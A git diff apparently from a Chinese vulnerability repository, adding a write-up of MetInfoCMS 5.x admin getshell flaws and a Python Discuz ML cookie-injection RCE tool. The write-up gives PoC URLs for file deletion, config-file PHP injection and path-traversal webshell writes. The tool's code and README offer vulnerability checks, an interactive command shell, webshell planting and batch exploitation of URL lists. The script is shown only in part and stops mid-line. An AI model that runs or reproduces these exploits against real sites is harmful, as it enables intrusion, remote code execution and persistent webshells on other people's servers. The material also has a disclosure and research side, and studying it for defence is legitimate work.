diff --git a/MetInfoCMS 5.X版本GETSHELL漏洞合集.md b/MetInfoCMS 5.X版本GETSHELL漏洞合集.md
new file mode 100644
index 0000000..ea58f5d
--- /dev/null
+++ b/MetInfoCMS 5.X版本GETSHELL漏洞合集.md
@@ -0,0 +1,331 @@
+MetInfoCMS 5.X版本GETSHELL漏洞合集
+
+## 0x00 前言
+
+2018年1月底MetInfoCMS官方隆重发布6.0版本,调整了之前“漏洞百出”的框架结构,修(杜)复(绝)了多个5.X的版本后台Gestshell漏洞。
+
+## 0x01安装过程过滤不严导致Getshell
+
+*前提:有删除/config/install.lock权限*
+> 默认安装的时候设置了权限的@chmod('../config/install.lock',0554);,所以需要在权限修改了的情况下才能利用这个
+
+### 1. 结合网上爆出的后台任意文件删除漏洞
+
+```php
+#/admin/app/batch/csvup.php
+
+$classflie=explode('_',$fileField);
+$classflie=explode('-',$classflie[count($classflie)-1]);
+$class1=$classflie[0];
+$class2=$classflie[1];
+$class3=$classflie[2];
+$class=$class3?$class3:($class2?$class2:$class1);
+$classcsv=$db->get_one("select * from $met_column where id=$class");
+if(!$classcsv){
+metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth);
+}
+
+# 省略代码
+
+@file_unlink($flienamecsv);
+```
+
+删除/config/install.lock文件可以导致重装(需要由对应的删除权限),删除文件的poc如下:
+
+```html
+http://xxx.com/admin/app/batch/csvup.php?fileField=1_1231-1&flienamecsv=../../../config/install.lock
+```
+
+### 2. 重装时数据库配置文件过滤不当
+
+```php
+#/install/index.php
+ case 'db_setup':
+ {
+ if($setup==1){
+ $db_prefix = trim($db_prefix);
+ $db_host = trim($db_host);
+ $db_username = trim($db_username);
+ $db_pass = trim($db_pass);
+ $db_name = trim($db_name);
+ $config="";
+
+ $fp=fopen("../config/config_db.php",'w+');
+ fputs($fp,$config);
+ fclose($fp);
+```
+
+在数据库配置时$db_host,$db_username,$db_pass,$db_name,$db_prefix参数可控。
+
+### 3. POC
+
+数据库配置时修改任意参数为`*/phpinfo();/*`可导致Getshell。点击保存之后,直接访问/config/config_db.php即可getshell。
+shell地址:`http://xxx.com/config/config_db.php`
+
+## 0x02 CVE-2017-11347补丁绕过继续Getshell
+
+*前提:windows服务器+网站绝对路径(只需要知道网站index.php所在目录的上一级目录名)*
+
+### 1. 查找绝对路径的方法:
+
+- 利用安装目录下的phpinfo文件: `/install/phpinfo.php`
+
+- 利用报错信息(
+
+ 信息在HTML注释中,必须通过查看网页源码的方式才能获取内容,否则看上去是空白页
+
+ )
+
+ ```
+ /app/system/include/public/ui/admin/top.php
+ /app/system/include/public/ui/admin/box.php
+ /app/system/include/public/ui/web/sidebar.php
+ ```
+
+### 2. 漏洞分析
+
+5.3.19版本针对CVE-2017-11347的补丁分析
+
+```
+switch($val[2]){
+ case 1:
+ $address="../about/$fileaddr[1]";
+ break;
+ case 2:
+ $address="../news/$fileaddr[1]";
+ break;
+ case 3:
+ $address="../product/$fileaddr[1]";
+ break;
+ case 4:
+ $address="../download/$fileaddr[1]";
+ break;
+ case 5:
+ $address="../img/$fileaddr[1]";
+ break;
+ case 8:
+ $address="../feedback/$fileaddr[1]";
+ break;
+ default:
+ $address = "";
+ break;
+
+}
+ $newfile ="../../../$val[1]";
+ if($address != ''){
+ Copyfile($address,$newfile);
+ }
+
+}
+}
+```
+
+即:5.3.19版本采取:即使在$var[2]为空时,默认给address变量赋值为空,并且会判断address参数不为空才调用Copyfile。但是当$var[2]不为空时,由于fileaddr[1]可控导致,仍然可以控制文件路径从而Getshell。
+
+漏洞利用(网站安装在服务器根路径的情况):
+
+第一步,新建1.ico文件,内容为:
+在后台"地址栏图标"处上传该文件。
+得到地址为:http://localhost/upload/file/1506587082.ico
+
+第二步,发送如下payload(注意左斜杠和右斜杠不能随意更改):
+
+```
+http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506587082.ico/..\..\..\www\about\shell.php|1
+```
+
+shell的地址为:
+
+```
+http://localhost/about/shell.php
+```
+
+### 3. POC(注意左斜杠和右斜杠不能随意更改):
+
+```
+http://localhost/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\上传ico文件的相对路径/..\..\..\网站index.php路径的上一层目录名\about\webshell的文件名|1
+```
+
+特别注意其中的:“网站index.php上层目录名”,
+
+1.如果网站安装在服务器根目录,这wamp/phpstudy默认目录值为“www";网站index.php上层目录名设置为"www"; 如果为lamp环境,这默认目录值为“html”网站index.php上层目录名设置为"html";。其他的环境类推(利用绝对路径泄露)。
+
+2.如果网站安装在服务器的二级目录下,则网站index.php上层目录名设置为二级目录名。
+
+例如:网站搭建在:http://localhost/MetInfoCMS /,则第二步的payload如下:
+
+```
+http://localhost/MetInfoCMS/admin/app/physical/physical.php?action=op&op=3&valphy=test|/..\upload\file\1506588072.ico/..\MetInfoCMS.\MetInfoCMS \about\shell.php|1
+```
+
+相应生成的shell地址为:
+
+```
+http://localhost/MetInfoCMS/about/shell.php
+```
+
+## 0x03 Copyindx函数处理不当Getshell
+
+### 1. 声明
+
+此漏洞点位于admin/app/physical/physical.php文件,漏洞和CVE-2017-11347漏洞十分相似,但是存在根本的差异,不同点如下:
+
+(1)触发函数是Copyindex函数,而非Copyfile
+
+(2)此漏洞不是利用文件包含require_one,而是利用任意内容写入
+
+(3)此漏洞Getshell不需要上传图片
+
+(4)结合CSRF可以实现一键Getshell
+
+### 2. 漏洞点
+
+```
+# admin/app/physical/physical.php:197-236
+
+switch($op){
+ case 1:
+ if(is_dir('../../../'.$val[1])){
+ deldir('../../../'.$val[1]);
+ echo $lang_physicaldelok;
+ }
+ else{unlink('../../../'.$val[1]);
+ echo $lang_physicaldelok;
+ }
+ break;
+ case 2:
+ $adminfile=$url_array[count($url_array)-2];
+ $strsvalto=readmin($val[1],$adminfile,1);
+ filetest('../../../'.$val[1]);
+ deldir('../../../'.$val[1]);
+ $dlappfile=parse_ini_file('dlappfile.php',true);
+ if($dlappfile[$strsvalto]['dlfile']){
+ $return=varcodeb('app');
+ $checksum=$return['md5'];
+ $met_file='/dl/app_curl.php';
+ $stringfile=dlfile($dlappfile[$strsvalto]['dlfile'],"../../../$val[1]");
+ }else{
+ $met_file='/dl/olupdate_curl.php';
+ $stringfile=dlfile("v$metcms_v/$strsvalto","../../../$val[1]");
+ }
+ if($stringfile==1){
+ echo $lang_physicalupdatesuc;
+ }
+ else{
+ echo dlerror($stringfile);
+ die();
+ }
+ break;
+ case 3:
+ $fileaddr=explode('/',$val[1]);
+ $filedir="../../../".$fileaddr[0];
+ if(!file_exists($filedir)){ @mkdir ($filedir, 0777); }
+ if($fileaddr[1]=="index.php"){
+ Copyindx("../../../".$val[1],$val[2]);
+ }
+```
+
+当$action等于op而且$op等于3的时候,如果$filedir不存在则创建$filedir目录,而且如果$fileaddr[1]等于"index.php"则调用Copyindex函数,并传入$val[1]和$val[2]参数,此处两个参数来自变量$valphy,均可控!!跟进Copyindex函数源码如下:
+
+```
+#admin/include/global.func.php:877-884
+
+function Copyindx($newindx,$type){
+ if(!file_exists($newindx)){
+ $oldcont ="";
+ $fp = fopen($newindx,w);
+ fputs($fp, $oldcont);
+ fclose($fp);
+ }
+}
+```
+
+可见,直接把参数$type直接赋值给$fmodule,并写入文件内容,所以可以构造payload直接getshell.
+
+### 3. POC(xxx为任意的shell目录,index.php文件名不能修改)
+
+生成的shell地址:
+
+```
+http://localhost/MetInfoCMS/xxx/index.php
+```
+
+## 0x04 olupdate文件缺陷导致Getshell
+
+### 1. 漏洞点
+
+```
+#/admin/system/olupdate.phpwen文件中,当$action=sql,$sql!=No Date且$sqlfile不是数组时进入如下过程
+
+#326-360行
+$num=1;
+$random = met_rand(6);
+$date=date('Ymd',time());
+require_once '../system/database/global.func.php';
+do{
+ $sqldump = '';
+ $startrow = '';
+ $tables=tableprearray($tablepre);
+ $sizelimit=2048;
+ $tableid = isset($tableid) ? $tableid - 1 : 0;
+ $startfrom = isset($startfrom) ? intval($startfrom) : 0;
+ $tablenumber = count($tables);
+ for($i = $tableid; $i < $tablenumber && strlen($sqldump) < $sizelimit * 1000; $i++){
+ $sqldump .= sql_dumptable($tables[$i], $startfrom, strlen($sqldump));
+ $startfrom = 0;
+ }
+ $startfrom = $startrow;
+ $tableid = $i;
+ if(trim($sqldump)){
+ $sqlfile[]=$bakfile = "../update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql";
+ $version='version:'.$metcms_v;
+ $sqldump = "#xxx.cn Created {$version} \n#{$met_weburl}\n#{$tablepre}\n#{$met_webkeys}\n# --------------------------------------------------------\n\n\n".$sqldump;
+ if(!file_put_contents($bakfile, $sqldump)){
+ dl_error($lang_updaterr2."({$adminfile}/update/$addr/{$con_db_name}_{$date}_{$random}_{$num}.sql)",$type,$olid,$ver,$addr,$action);
+ }
+ }
+ $num++;
+}
+while(trim($sqldump));
+if(is_array($sqlfile)) $string = "";
+filetest("../update/$addr/sqlist.php");
+if(!file_put_contents("../update/$addr/sqlist.php",$string)){
+ dl_error($lang_updaterr2."({$adminfile}/update/$addr/sqlist.php)",$type,$olid,$ver,$addr,$action);
+}
+```
+
+此时由于sqlfile不是数组,即is_array($sqlfile)不成立,导致$string没有初始化,可以任意修改,接着调用file_put_contents将string的值写到/update/$addr/sqlist.php文件。
+
+*PS:这里有一个小点,由于输入控制sqlfile不是数组,第345行执行$sqlfile[]=$bakfile = "../update/$addr/{$con_dbname}{$date}{$random}{$num}.sql";会导致给字符串赋值报错,导致无法执行到后面的Getshell部分。所以需要构造payload使得trim($sqldump)为空,即$sqldump值为空,从而跳过$sqlfile[]赋值部分,这里构造tableid=1000(其实只要>=44即可)*
+
+最后的payload结构如下:
+
+```
+/admin/system/olupdate.php?action=sql&sqlfile=1&string=shell内容&addr=shell的目录&tableid=1000
+```
+
+### 2.POC (参数addr为生成shell的目录,生成shell的文件名sqlist.php不可控)
+
+```
+http://xxx.com/admin/system/olupdate.php?action=sql&sqlfile=1&string=&addr=12313&tableid=1000
+```
+
+执行后的shell地址:
+
+```
+http://xxx.com/admin/update/12313/sqlist.php
+```
+
+## 0x05小结
+
+都是需要后台管理员权限才能利用的漏洞,不过危害还是比较大,没有升级的网站赶紧升级6.0版本哦!
+前几个都有一定的条件要求,后面两个比较通杀!
\ No newline at end of file
diff --git a/README.md b/README.md
index a83be01..ece3026 100644
--- a/README.md
+++ b/README.md
@@ -39,6 +39,8 @@
- [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md)
- [S-CMS PHP v3.0存在SQL注入漏洞](S-CMS%20PHP%20v3.0存在SQL注入漏洞.md)
- [dede_burp_admin_path-dedecms后台路径爆破(Windows环境)](dede_burp_admin_path.md)
+- [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS 5.X版本GETSHELL漏洞合集.md)
+- [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md)
## Mobile APP
diff --git a/discuz-ml-rce/LICENSE b/discuz-ml-rce/LICENSE
new file mode 100644
index 0000000..460d74d
--- /dev/null
+++ b/discuz-ml-rce/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2019 LSA
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/discuz-ml-rce/README.md b/discuz-ml-rce/README.md
new file mode 100644
index 0000000..4bfde79
--- /dev/null
+++ b/discuz-ml-rce/README.md
@@ -0,0 +1,83 @@
+dz-ml-rce.py :discuz ml RCE 漏洞检测工具
+==
+----------------
+
+
+# 概述
+
+漏洞在于cookie的language可控并且没有严格过滤,导致可以远程代码执行,详情参考
+
+[discuz ml RCE漏洞重现及分析](http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/)
+
+
+本工具支持单url和批量检测,有判断模式(只判断有无该漏洞)、cmdshell模式(返回简单的cmd shell)和getshell模式(写入一句话木马)。
+
+
+----------------
+
+# 需求
+
+python2.7
+pip -r requirements.txt
+
+
+**使用时加上漏洞PHP页面(如forum.php,portal.php),直接写域名可能会重定向导致误报!**
+
+----------------
+
+# 快速开始
+
+使用帮助
+python dz-ml-rce.py -h
+
+
+
+
+判断模式
+python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
+
+
+
+
+cmdshell模式
+python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
+
+
+
+
+getshell模式
+python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
+
+
+
+
+批量检测
+python dz-ml-rce.py -f urls.txt
+
+
+
+
+批量getshell
+python dz-ml-rce.py -f urls.txt --getshell
+
+
+
+
+----------------
+
+
+# TODO
+有空会做各种优化。
+
+
+----------------
+
+# 反馈
+[issus](https://github.com/theLSA/discuz-ml-rce/issues)
+
+博客:http://www.lsablog.com/networksec/penetration/discuz-ml-rce-analysis/
+
+gmail:lsasguge196@gmail.com
+
+qq:2894400469@qq.com
+
diff --git a/discuz-ml-rce/batch_result/20190715111111/failed-checked.txt b/discuz-ml-rce/batch_result/20190715111111/failed-checked.txt
new file mode 100644
index 0000000..5bfd1a7
--- /dev/null
+++ b/discuz-ml-rce/batch_result/20190715111111/failed-checked.txt
@@ -0,0 +1 @@
+http://www.xxx.com/home.php
\ No newline at end of file
diff --git a/discuz-ml-rce/batch_result/20190715111111/success-checked.txt b/discuz-ml-rce/batch_result/20190715111111/success-checked.txt
new file mode 100644
index 0000000..a6219c9
--- /dev/null
+++ b/discuz-ml-rce/batch_result/20190715111111/success-checked.txt
@@ -0,0 +1 @@
+http://www.xxx.cn/forum.php
\ No newline at end of file
diff --git a/discuz-ml-rce/demo/dzmlrce01.png b/discuz-ml-rce/demo/dzmlrce01.png
new file mode 100644
index 0000000..4795cc3
Binary files /dev/null and b/discuz-ml-rce/demo/dzmlrce01.png differ
diff --git a/discuz-ml-rce/demo/dzmlrce02.png b/discuz-ml-rce/demo/dzmlrce02.png
new file mode 100644
index 0000000..786064c
Binary files /dev/null and b/discuz-ml-rce/demo/dzmlrce02.png differ
diff --git a/discuz-ml-rce/demo/dzmlrce03.png b/discuz-ml-rce/demo/dzmlrce03.png
new file mode 100644
index 0000000..091e991
Binary files /dev/null and b/discuz-ml-rce/demo/dzmlrce03.png differ
diff --git a/discuz-ml-rce/demo/dzmlrce04.png b/discuz-ml-rce/demo/dzmlrce04.png
new file mode 100644
index 0000000..8369dce
Binary files /dev/null and b/discuz-ml-rce/demo/dzmlrce04.png differ
diff --git a/discuz-ml-rce/demo/dzmlrce06.png b/discuz-ml-rce/demo/dzmlrce06.png
new file mode 100644
index 0000000..c98daa6
Binary files /dev/null and b/discuz-ml-rce/demo/dzmlrce06.png differ
diff --git a/discuz-ml-rce/demo/dzmlrce09.png b/discuz-ml-rce/demo/dzmlrce09.png
new file mode 100644
index 0000000..59d1e96
Binary files /dev/null and b/discuz-ml-rce/demo/dzmlrce09.png differ
diff --git a/discuz-ml-rce/dz-ml-rce.py b/discuz-ml-rce/dz-ml-rce.py
new file mode 100644
index 0000000..2c48402
--- /dev/null
+++ b/discuz-ml-rce/dz-ml-rce.py
@@ -0,0 +1,406 @@
+# coding:utf-8
+# Author:LSA
+# Description:discuz ml rce(cookie-language)
+# Date:20190714
+
+
+import requests
+import optparse
+#from requests.packages import urllib3
+import sys
+import urllib3
+import re
+from bs4 import BeautifulSoup
+import Queue
+import threading
+import os
+import datetime
+
+
+
+reload(sys)
+sys.setdefaultencoding('utf-8')
+
+
+
+lock = threading.Lock()
+q0 = Queue.Queue()
+threadList = []
+global success_count
+success_count = 0
+
+
+total_count = 0
+
+
+def get_setcookie_language_value(tgtUrl,timeout):
+
+ urllib3.disable_warnings()
+ tgtUrl = tgtUrl
+ try:
+ rsp = requests.get(tgtUrl, timeout=timeout, verify=False)
+ rsp_setcookie = rsp.headers['Set-Cookie']
+ # print rsp.text
+ pattern = re.compile(r'(.*?)language=')
+ language_pattern = pattern.findall(rsp_setcookie)
+ setcookie_language = language_pattern[0].split(' ')[-1].strip() + 'language=en'
+ return str(setcookie_language)
+
+ except:
+ print str(tgtUrl) + ' get setcookie language value error!'
+ return 'get-setcookie-language-value-error'
+
+
+def dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout):
+
+ tgtUrl = tgtUrl
+ check_payload = setcookie_language_value + '\'.phpinfo().\';'
+ headers = {}
+
+ headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
+ headers["Cookie"] = check_payload;
+
+ check_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
+ #print headers['Cookie']
+ if check_rsp.status_code == 200:
+ try:
+ if (check_rsp.text.index('PHP Version')):
+ print 'target is vulnerable!!!'
+
+ else:
+ soup = BeautifulSoup(check_rsp.text, 'lxml')
+ if (soup.find('title')):
+ print 'target seem not vulnerable-' + 'return title: ' + str(soup.title.string) + '\n'
+ except ValueError, e:
+ print 'target seem not vulnerable-' + e.__repr__()
+ except:
+ print 'target seem not vulnerable-Unknown error.'
+ else:
+ print 'Target seem not vulnerable-status code: ' + str(check_rsp.status_code) + '\n'
+
+
+
+def dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout):
+
+ #cmdshell_pattern = re.compile(r'([\s][\S]*?)>> ")
+ if command == 'exit':
+ break
+ cmd_exp_send = setcookie_language_value + cmd_exp.format(command)
+ headers['Cookie'] = cmd_exp_send
+ cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
+ cmdshell_result = cmd_exp_rsp.text[0:1000].split('